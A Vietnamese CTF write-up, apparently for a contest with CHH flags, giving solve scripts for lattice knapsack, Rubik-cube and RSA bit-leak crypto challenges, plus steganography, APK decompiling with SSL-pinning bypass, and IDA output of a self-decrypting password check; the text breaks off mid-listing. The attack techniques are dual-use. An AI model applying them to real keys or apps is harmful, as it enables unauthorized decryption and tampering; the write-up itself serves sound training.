a = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789,
82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]
s = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'
block_size = 32
block = [s[i * 17: (i + 1) * 17] for i in range(0, 11)]
block = [int.from_bytes(b, 'little') for b in block]
flag = b''
for s in block:
n = len(a)
N = ceil(sqrt(n) / 2)
b = []
for i in range(n):
vec = [0 for _ in range(n + 1)]
vec[i] = 1
vec[-1] = N * a[i]
b.append(vec)
b.append([1 / 2 for _ in range(n)] + [N * s])
BB = matrix(QQ, b)
l_sol = BB.LLL()
# print(l_sol)
for e in l_sol:
if e[-1] == 0:
msg = 0
isValidMsg = True
for i in range(len(e) - 1):
ei = 1 - (e[i] + (1 / 2))
if ei != 1 and ei != 0:
isValidMsg = False
break
msg |= int(ei) << i
if isValidMsg:
print('[*] Got:', long_to_bytes(msg)[::-1])
flag += long_to_bytes(msg)[::-1]
break
print("Final flag: ", flag)
Flag
CHH{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}
Rubic Cipher
Difficulty: Hard
Challenge gồm có 3 file: rubik.txt
1
2
3
4
5
6
7
8
9
10
11
12
| 0 1 2 |
| 3 4 5 |
| 6 7 8 |
9 10 11 | 12 13 14 | 15 16 17 | 18 19 20
21 22 23 | 24 25 26 | 27 28 29 | 30 31 32
33 34 35 | 36 37 38 | 39 40 41 | 42 43 44
45 46 47
48 49 50
51 52 53
scramble_sequence.txt
1
2
3
4
5
6
7
8
(F, AAAAAAAAABBBCCCDDDEEEBBBCCCDDDEEEBBBCCCDDDEEEFFFFFFFFF) = AAAAAABBBBBFCCCADDEEEBBFCCCADDEEEBBFCCCADDEEEDDDFFFFFF
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
KEY="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Và cipher.txt
1
b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'
Nhìn sơ qua các file có thể đoán được tác giả đang muốn mình giải cipher bằng cách áp các kí tự vào thứ tự tương ứng trong rubik.txt
và xoay cục rubik theo trình tự trong KEY
Bước đầu tiên trong quá trình giải thì phải cần cài đặt (mô phỏng) lại cách xoay cục rubik trong python. Và để làm như thế thì có vẻ mất rất nhiều thời gian nên mình tìm thử trên mạng xem có ai đã làm giùm chưa.
Thì vô tình mình tìm được một challenge của CTF khác cũng khá giống với bài này và trong đó có hàm scramble
mà mình cần tìm.
Cuối cùng thì ghép các thứ lại với nhau thui. Sau khi xoay rubik xong thì cần làm thêm 1 bước giống trong AES-CBC để lấy được flag.
Script solve:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
def scramble(move, cube):
rounds = 1
if len(move) > 1:
if move[1] == '\'':
rounds = 3
elif move[1] == '2':
rounds = 2
U = [20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9]
U1 = [0, 1, 2, 5, 8, 7, 6, 3]
D = [33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44]
D1 = [45, 46, 47, 50, 53, 52, 51, 48]
L = [0, 3, 6, 12, 24, 36, 45, 48, 51, 44, 32, 20]
L1 = [9, 10, 11, 23, 35, 34, 33, 21]
R = [53, 50, 47, 38, 26, 14, 8, 5, 2, 18, 30, 42]
R1 = [15, 16, 17, 29, 41, 40, 39, 27]
F = [6, 7, 8, 15, 27, 39, 47, 46, 45, 35, 23, 11]
F1 = [12, 13, 14, 26, 38, 37, 36, 24]
B = [2, 1, 0, 9, 21, 33, 51, 52, 53, 41, 29, 17]
B1 = [18, 19, 20, 32, 44, 43, 42, 30]
if move[0] == 'U':
old = U
old1 = U1
elif move[0] == 'D':
old = D
old1 = D1
elif move[0] == 'L':
old = L
old1 = L1
elif move[0] == 'R':
old = R
old1 = R1
elif move[0] == 'F':
old = F
old1 = F1
elif move[0] == 'B':
old = B
old1 = B1
else:
return
new = old[-rounds * 3:] + old[:-rounds * 3]
new1 = old1[-rounds * 2:] + old1[:-rounds * 2]
new = [cube[i] for i in new]
new1 = [cube[i] for i in new1]
cube = list(cube)
for i, c in zip(old, new):
cube[i] = c
for i, c in zip(old1, new1):
cube[i] = c
return bytes(cube)
cipher = b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'
IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
turns = "D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
cubes = [cipher[54 * i : 54 * (i + 1)] for i in range(len(cipher) // 54)]
out = b""
for cube in cubes:
next_IV = cube
for t in turns.split(" "):
cube = scramble(t, cube)
out += bytes([_a ^ _b for _a, _b in zip(cube, IV)])
IV = next_IV
print(out)
Flag
CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}
RSA Percent Leak
Difficulty: Insane
Cách giải
Script đề bài:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from secret import flag
if __name__ == '__main__':
p = getPrime(1024)
q = getPrime(1024)
n = p*q
l = (p & q) * (p ^ q) | 0x1337
c = pow(bytes_to_long(flag), 65537, n)
print(f'n = {hex(n)}\n')
# n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b
print(f'l = {hex(l)}\n')
# l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff
print(f'c = {hex(c)}\n')
# c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e
Nhìn sơ qua thì thầy để khá ảo ma vì làm thế nào mà từ l = (p & q) * (p ^ q) | 0x1337
mà phân tích ra p và q được.
Nhưng nếu để ý kĩ thì mấy phép toàn bitwise (&, ^, |) không làm thay đổi độ dài bit của số và số l có dạng cũng giống như số n (số thứ nhất * số thứ hai).
Nên từ đó có thể suy ra rằng n bit cuối của l và n sẽ được tính toán dựa trên n bit cuối của p và q.
Vậy hướng giải đó chính là brute force n bit cuối của q và p sao cho nó bằng với n bit cuối của l và n.
Script solve:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.Util.number import inverse, long_to_bytes as l2b
from itertools import product
from tqdm import tqdm
n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b
c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e
l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff
def hint(p, q):
return (p & q) * (p ^ q) | 0x1337
def get_last_n_bit(num, nbit):
return num & ((1 << nbit) - 1)
guess = []
for bp, bq in product(range(2), repeat=2):
if hint(bp, bq) & 1 == l & 1 and (bp * bq) & 1 == n & 1:
# Tìm bit cuối
guess += [(bp, bq)]
nbit = 1
found = False
bar = tqdm(total=1024)
while not found:
nbit += 1
bar.update(1)
next_guess = []
for prev_p, prev_q in guess:
for bp, bq in product(range(2), repeat=2):
# Đoán bit tiếp theo
next_p = prev_p + bp * (1 << nbit - 1)
next_q = prev_q + bq * (1 << nbit - 1)
guess_l = hint(next_p, next_q)
if get_last_n_bit(guess_l, nbit) != get_last_n_bit(l, nbit):
continue
if get_last_n_bit(next_p * next_q, nbit) == get_last_n_bit(n, nbit):
next_guess += [(next_p, next_q)]
guess = next_guess
for p, q in guess:
if hint(p, q) == l and p * q == n:
print("FOUND")
print(f'{p = }')
print(f'{q = }')
found = (p, q)
break
p, q = found
e = 65537
d = inverse(e, (p - 1) * (q - 1))
print("FLAG:", l2b(pow(c, d, n)))
bar.close()
Flag
CHH{pl3453_pr0v1d3_4_d3t41ll3d_wr1t3up_b3c4us3_7h1s_k1nd_0f_a77ack_1s_r4th3r_r4r3}
Steganography
CutieK1tty
Difficulty: Medium
Cách giải
Đề cho file cut3_c4t.png
, thử lệnh binwalk
thì thấy trong file có chứ thêm file .rar
1
binwalk -e cut3_c4t.png
Extract nó ra và giải nén file.rar thì có thêm file
purrr_2.mp3
với 1 file y0u_4r3_cl0s3.rar
Mở file .rar lên nhưng nó lại bị lỗi, check header thử thì thấy header của nó bị sai.
Header file .rar phải là Rar!
mới đúng chứ không phải Cat!
Sửa lại header rồi mở lên thì thấy phải nhập password mớ cho lấy flag.
Bây giờ thì phải tìm password, thấy là còn 1 file chưa đụng tới đó là purrr_2.mp3
Mở nó lên bằng Sonic Visualiser, thêm spectrogram layer vô thì thấy được mật khẩu
Nhập mật khẩu và lấy flag thui :v
Flag
CHH{f0r3n51cs_ma5t3r}
Mobile
Cat Me
Difficulty: Very Easy
Cách giải
Mở ứng dụng trong điện thoại thì chỉ có nền đen và dòng chữ Cookie Warrior
.
Decompile apk bằng Bytecode Viewer rồi search thử string Cookie Warrior
để tìm xem nó nằm ở đâu Thì thấy ngay ở phía dưới có 1 đoạn string nhìn khá giống base64.
Ghép nó lại đem lên cyberchef để decode là ra flag
Flag
CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}
Pinned Cookie
Difficulty: Easy
Cách giải
Mở app trên điện thoại thì thấy 1 cái form login, nhưng mình không biết username với password.
Tương tự như bài trên, mình tìm thử chuỗi login
trong Bytecode Viewer
Ở dưới cũng có 1 mảng chứa các chuỗi giống như base64. Mình ghép nó lại đem đi decode thì lại không ra.
Kéo xuống dưới nữa thì mình thấy có hàm này Sau một hồi phân tích thì chức năng của hàm này đó chính là lấy cái chuỗi base64 trên, decode nó, rồi đem xor với mật khẩu của admin, đó là
sTroN6PaSswORD
Flag
CHH{yoU_c4N_bYP45S_sSL_PInninG}
Programming
Identity Security
Đề bài cũng khá self-explanatory nên mình chỉ để script solve ở đây
Cách giải
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
n = int(input())
for i in range(n):
inp = input().strip()
if '@' in inp:
username, domain = inp.split('@')
if len(username) > 7:
out = username[:2] + '*' * (len(username) - 5) + username[-3:]
else:
out = username[:1] + '*' * (len(username) - 2) + username[-1:]
out += '@' + domain
else:
out = inp[:2] + '*' * (len(inp) - 5) + inp[-3:]
print(out)
Flag
CHH{1DeNt17Y_SecuriTy_f200ddc95a3538f6724ef69715896aa8}
Decrypt
Difficulty: Medium
Đề bài cũng khá self-explanatory nên mình chỉ để script solve ở đây
Cách giải
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import math
def divisorGenerator(n):
large_divisors = []
for i in range(1, int(math.sqrt(n) + 1)):
if n % i == 0:
yield i
if i*i != n:
large_divisors.append(n / i)
for divisor in reversed(large_divisors):
yield int(divisor)
n = int(input())
c = input()
def decrypt(n, c):
for i in divisorGenerator(n):
c = c[:i][::-1] + c[i:]
return c
print(decrypt(n, c))
Flag
CHH{pro9R4mmINg_D3CRYPT_c0581467a10203a5512144ea9a63c54c}
Reverse Engineering
pyreverse
Difficulty: Very Easy
Cách giải
exe của bài được viết bởi python -> dễ reverse ra source code Sử dụng pyinstxtractor để extract file -> Có được các file .pyc Sử dụng uncompyle6 để decompile nhưng fail vì file được viết bằng python 3.10 (hiện tại chưa có tool decompile :(( )
-> Đọc pyreverser.pyc
bằng HxD thì thấy Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==
-> base64 decode ra flag
Flag
CHH{python2Exi_Reverse_ENginering}
Jump
Difficulty: Easy
Reverse jump.exe bằng IDA thì thấy app lấy input của người dùng và nhảy tớ địa chỉ mà người dùng nhập để chạy tiếp. Chạy gdb để tìm địa chỉ của các hàm
Nhập vào 419960 thì ra flag
Flag
CHH{JUMP_T0_TH3_M00N}
Rev1
Difficulty: Medium
Cách giải
Kiểm tra thông tin file với Detect it easy:
Như vậy file được cho là ở dạng 32bit, không bị pack
Mở file bằng IDA, ta được như sau:
Hàm DialogFunc
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
HGDIOBJ __stdcall DialogFunc(HWND hWnd, UINT a2, HDC a3, LPARAM a4)
{
HGDIOBJ result; // eax
HMODULE ModuleHandleA; // eax
HMODULE v6; // eax
HMENU SystemMenu; // eax
HMENU v8; // eax
HWND DlgItem; // eax
LONG WindowLongA; // eax
HRSRC v11; // [esp-4h] [ebp-168h]
DWORD ThreadId; // [esp+0h] [ebp-164h] BYREF
int X; // [esp+4h] [ebp-160h]
int Y; // [esp+8h] [ebp-15Ch]
int nWidth; // [esp+Ch] [ebp-158h]
int nHeight; // [esp+10h] [ebp-154h]
HDC hDC; // [esp+14h] [ebp-150h]
unsigned int v18; // [esp+18h] [ebp-14Ch]
struct tagPAINTSTRUCT Paint; // [esp+1Ch] [ebp-148h] BYREF
CHAR String[260]; // [esp+5Ch] [ebp-108h] BYREF
memset(String, 0, sizeof(String));
hwnd = hWnd;
v18 = a2;
if ( a2 > 0x133 )
{
switch ( v18 )
{
case 0x136u:
result = h;
break;
case 0x138u:
goto LABEL_20;
case 0x200u:
if ( dword_414300 == 1 )
{
GetWindowRect(hWnd, &Rect);
GetCursorPos(&stru_414380);
X = Rect.left + stru_414380.x - Point.x;
Y = Rect.top + stru_414380.y - Point.y;
nWidth = Rect.right - Rect.left;
nHeight = Rect.bottom - Rect.top;
Point = stru_414380;
MoveWindow(hWnd, X, Y, Rect.right - Rect.left, Rect.bottom - Rect.top, 1);
}
return 0;
case 0x201u:
dword_414300 = 1;
SetCapture(hWnd);
GetCursorPos(&Point);
return 0;
case 0x202u:
dword_414300 = 0;
ReleaseCapture();
return 0;
default:
return 0;
}
}
else if ( v18 == 307 )
{
LABEL_20:
SetBkColor(a3, 1u);
SetTextColor(a3, 0x2DFFFFu);
return h;
}
else
{
if ( v18 > 0x2B )
{
if ( v18 == 272 )
{
dword_414448 = sub_401E10((LPCSTR)0x3F8, (LPCSTR)0x3F7);
ModuleHandleA = GetModuleHandleA(0);
hResData = FindResourceA(ModuleHandleA, (LPCSTR)0x3F8, (LPCSTR)0x3F7);
v11 = hResData;
v6 = GetModuleHandleA(0);
dword_4143A0 = SizeofResource(v6, v11);
FreeResource(hResData);
SetDlgItemTextA(hWnd, 1004, ::String);
SendMessageA(hWnd, 0x80u, 1u, hIcon);
dword_4142FC = sub_401E10((LPCSTR)0x3F6, (LPCSTR)0x3F5);
dword_4143A4 = GetDlgItem(hWnd, 1003);
dword_4143D8 = GetDlgItem(hWnd, 1001);
dword_41438C = GetDlgItem(hWnd, 1002);
dword_414370 = GetDlgItem(hWnd, 1007);
GetClientRect(hWnd, &x);
++x.top;
++x.left;
--x.bottom;
x.right -= 2;
dword_414398 = GetDlgItem(hWnd, 1004);
::hWnd = GetDlgItem(hWnd, 1005);
GetClientRect(::hWnd, &rc);
SetLayeredWindowAttributes(hWnd, 0, 0xCCu, 2u);
--rc.top;
--rc.left;
++rc.right;
++rc.bottom;
SystemMenu = GetSystemMenu(hWnd, 0);
DeleteMenu(SystemMenu, 2u, 0x400u);
v8 = GetSystemMenu(hWnd, 0);
DeleteMenu(v8, 3u, 0x400u);
EnableWindow(dword_4143A4, 0);
EnableWindow(dword_4143D8, 0);
EnableWindow(dword_41438C, 0);
DlgItem = GetDlgItem(hWnd, 1005);
SetFocus(DlgItem);
WindowLongA = GetWindowLongA(hWnd, -20);
SetWindowLongA(hWnd, -20, WindowLongA | 0x80000);
SetLayeredWindowAttributes(hWnd, 0xFFu, 0, 3u);
ShowWindow(hWnd, 5);
SetTimer(hWnd, 0xDEu, 0x28u, TimerFunc);
}
else if ( v18 == 273 )
{
if ( a3 == (HDC)1001 )
{
SendMessageA(hWnd, 0x10u, 0, 0);
}
else if ( a3 == (HDC)1003 )
{
GetDlgItemTextA(hWnd, 1005, String, 260);
if ( sub_402030(String) )
{
if ( dword_4142F8 )
{
sub_401F90(dword_414370);
DeleteObject(ho);
dword_4142F8 = 0;
}
}
else if ( !dword_4142F8 )
{
sub_401EC0(dword_4142FC);
dword_4142F8 = 1;
}
}
}
}
else
{
switch ( v18 )
{
case 0x2Bu:
sub_401B80(hWnd, a4);
break;
case 2u:
TerminateThread(hThread, 0);
sub_4011FB(&dword_414400);
DeleteObject(h);
DeleteObject(hbr);
DeleteObject(lParam);
DestroyIcon((HICON)hIcon);
PostQuitMessage(0);
break;
case 0xFu:
dword_414450 = (int)hWnd;
dword_414454 = (int)asc_413880;
hDC = BeginPaint(hWnd, &Paint);
FrameRect(hDC, &x, (HBRUSH)hbr);
SelectObject(hDC, hbr);
MoveToEx(hDC, x.left, 20, 0);
LineTo(hDC, x.right, 20);
SetBkMode(hDC, 1);
SetTextColor(hDC, 0x2DFFFFu);
SelectObject(hDC, dword_414374);
hThread = CreateThread(0, 0, StartAddress, &dword_414450, 0, &ThreadId);
EndPaint(hWnd, &Paint);
hDC = GetDC(dword_414398);
FrameRect(hDC, &rc, (HBRUSH)hbr);
ReleaseDC(dword_414398, hDC);
hDC = GetDC(::hWnd);
FrameRect(hDC, &rc, (HBRUSH)hbr);
ReleaseDC(::hWnd, hDC);
break;
case 0x10u:
EndDialog(hWnd, 0);
break;
}
}
return 0;
}
return result;
}
Để biết chức năng của message, ta sẽ mở thử chương trình (Do Defender cảnh báo là virus nên sẽ chạy bên trong máy ảo), giao diện như sau:
Như vậy mục tiêu của chương trình sẽ là tìm ra đoạn password
thích hợp để khi ấn vào check
, không hiện WRONG.
Quay trở lại với đoạn code handle message ở trên, để có thể kiểm tra được string, cần phải có hàm để đọc string -> focus vào đoạn sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ...
else if ( a3 == (HDC)1003 )
{
GetDlgItemTextA(hWnd, 1005, String, 260);
if ( sub_402030(String) )
{
if ( dword_4142F8 )
{
sub_401F90(dword_414370);
DeleteObject(ho);
dword_4142F8 = 0;
}
}
else if ( !dword_4142F8 )
{
sub_401EC0(dword_4142FC);
dword_4142F8 = 1;
}
}
// ...
Kiểm tra hàm sub_402030
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl sub_402030(const char *a1)
{
signed int v1; // kr00_4
int v3; // [esp+10h] [ebp-14h]
unsigned int v4; // [esp+1Ch] [ebp-8h]
v4 = 0;
dword_4143C0 = (int)dword_414448;
v3 = dword_414448();
if ( v3 )
{
v1 = strlen(a1);
dword_4143A0 -= (int)dword_414448 - dword_4143C0;
while ( v4 < dword_4143A0 )
{
*((_BYTE *)dword_414448 + v4) ^= a1[(int)v4 % v1];
++v4;
}
}
return v3;
}
Ở đây biến dword_414448
không được khởi tạo sẵn -> cần phải debug. Thực hiện debug remote bằng ida:
Sau khi step into, sẽ dẫn tới một vùng nhớ mới chứa code như sau:
Có thể chương trình thực hiện tự mã hóa code và thực hiện giải mã khi chạy -> đoạn code này sẽ không thể tìm ở bất cứ đâu trong chương trình.
Các thao tác được lặp đi lặp lại -> có thể là đang kiểm tra từng phần tử của mảng, thực hiện create function ở 0x2e50000
và disassemble ta được:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
int __usercall sub_2E50000@<eax>(unsigned __int8 *a1@<edi>)
{
unsigned int v1; // kr04_4
int retaddr; // [esp+4h] [ebp+0h]
if ( 749 * a1[13]
+ 297 * a1[12]
+ 346 * a1[9]
+ 378 * a1[8]
+ 70 * a1[5]
+ 504 * a1[3]
+ 840 * a1[2]
+ 451 * a1[1]
+ 110 * *a1
- 855 * a1[4]
- 367 * a1[6]
- 766 * a1[7]
- 806 * a1[10]
- 400 * a1[11] != 10699
|| 644 * a1[12]
+ 377 * a1[11]
+ 418 * a1[10]
+ 545 * a1[6]
+ 338 * a1[5]
+ 570 * a1[3]
+ 705 * a1[2]
+ 946 * a1[1]
+ 42 * *a1
- 977 * a1[4]
- 764 * a1[7]
- 223 * a1[8]
- 879 * a1[9]
- 100 * a1[13] != 61677
|| 725 * a1[13]
+ 899 * a1[12]
+ 55 * a1[10]
+ 610 * a1[9]
+ 299 * a1[6]
+ 234 * a1[4]
+ 809 * a1[3]
+ 972 * a1[2]
+ 973 * a1[1]
+ 808 * *a1
- 26 * a1[5]
- 46 * a1[7]
- 823 * a1[8]
- 164 * a1[11] != 417944
|| 80 * a1[13]
+ 225 * a1[11]
+ 640 * a1[10]
+ 21 * a1[8]
+ 910 * a1[7]
+ 721 * a1[5]
+ 102 * *a1
- 969 * a1[1]
- 192 * a1[2]
- 189 * a1[3]
- 157 * a1[4]
- 665 * a1[6]
- 334 * a1[9]
- 296 * a1[12] != 27876
|| 992 * a1[12]
+ 621 * a1[11]
+ 151 * a1[10]
+ 340 * a1[8]
+ 601 * a1[5]
+ 138 * a1[1]
+ 749 * *a1
- 341 * a1[2]
- 140 * a1[3]
- 569 * a1[4]
- 646 * a1[6]
- 474 * a1[7]
- 406 * a1[9]
- 491 * a1[13] != 86237
|| 962 * a1[13]
+ 523 * a1[11]
+ 655 * a1[9]
+ 153 * a1[5]
+ 120 * a1[3]
+ 579 * a1[2]
+ 70 * *a1
- 735 * a1[1]
- 238 * a1[4]
- 197 * a1[6]
- 235 * a1[7]
- 174 * a1[8]
- 101 * a1[10]
- 327 * a1[12] != 124555
|| 609 * a1[11]
+ 938 * a1[10]
+ 961 * a1[6]
+ 949 * a1[2]
+ 702 * a1[1]
+ 612 * *a1
- 467 * a1[3]
- 8 * a1[4]
- 336 * a1[5]
- 996 * a1[7]
- 88 * a1[8]
- 412 * a1[9]
- 383 * a1[12]
- 359 * a1[13] != 99472
|| 691 * a1[13]
+ 733 * a1[12]
+ 988 * a1[10]
+ 313 * a1[9]
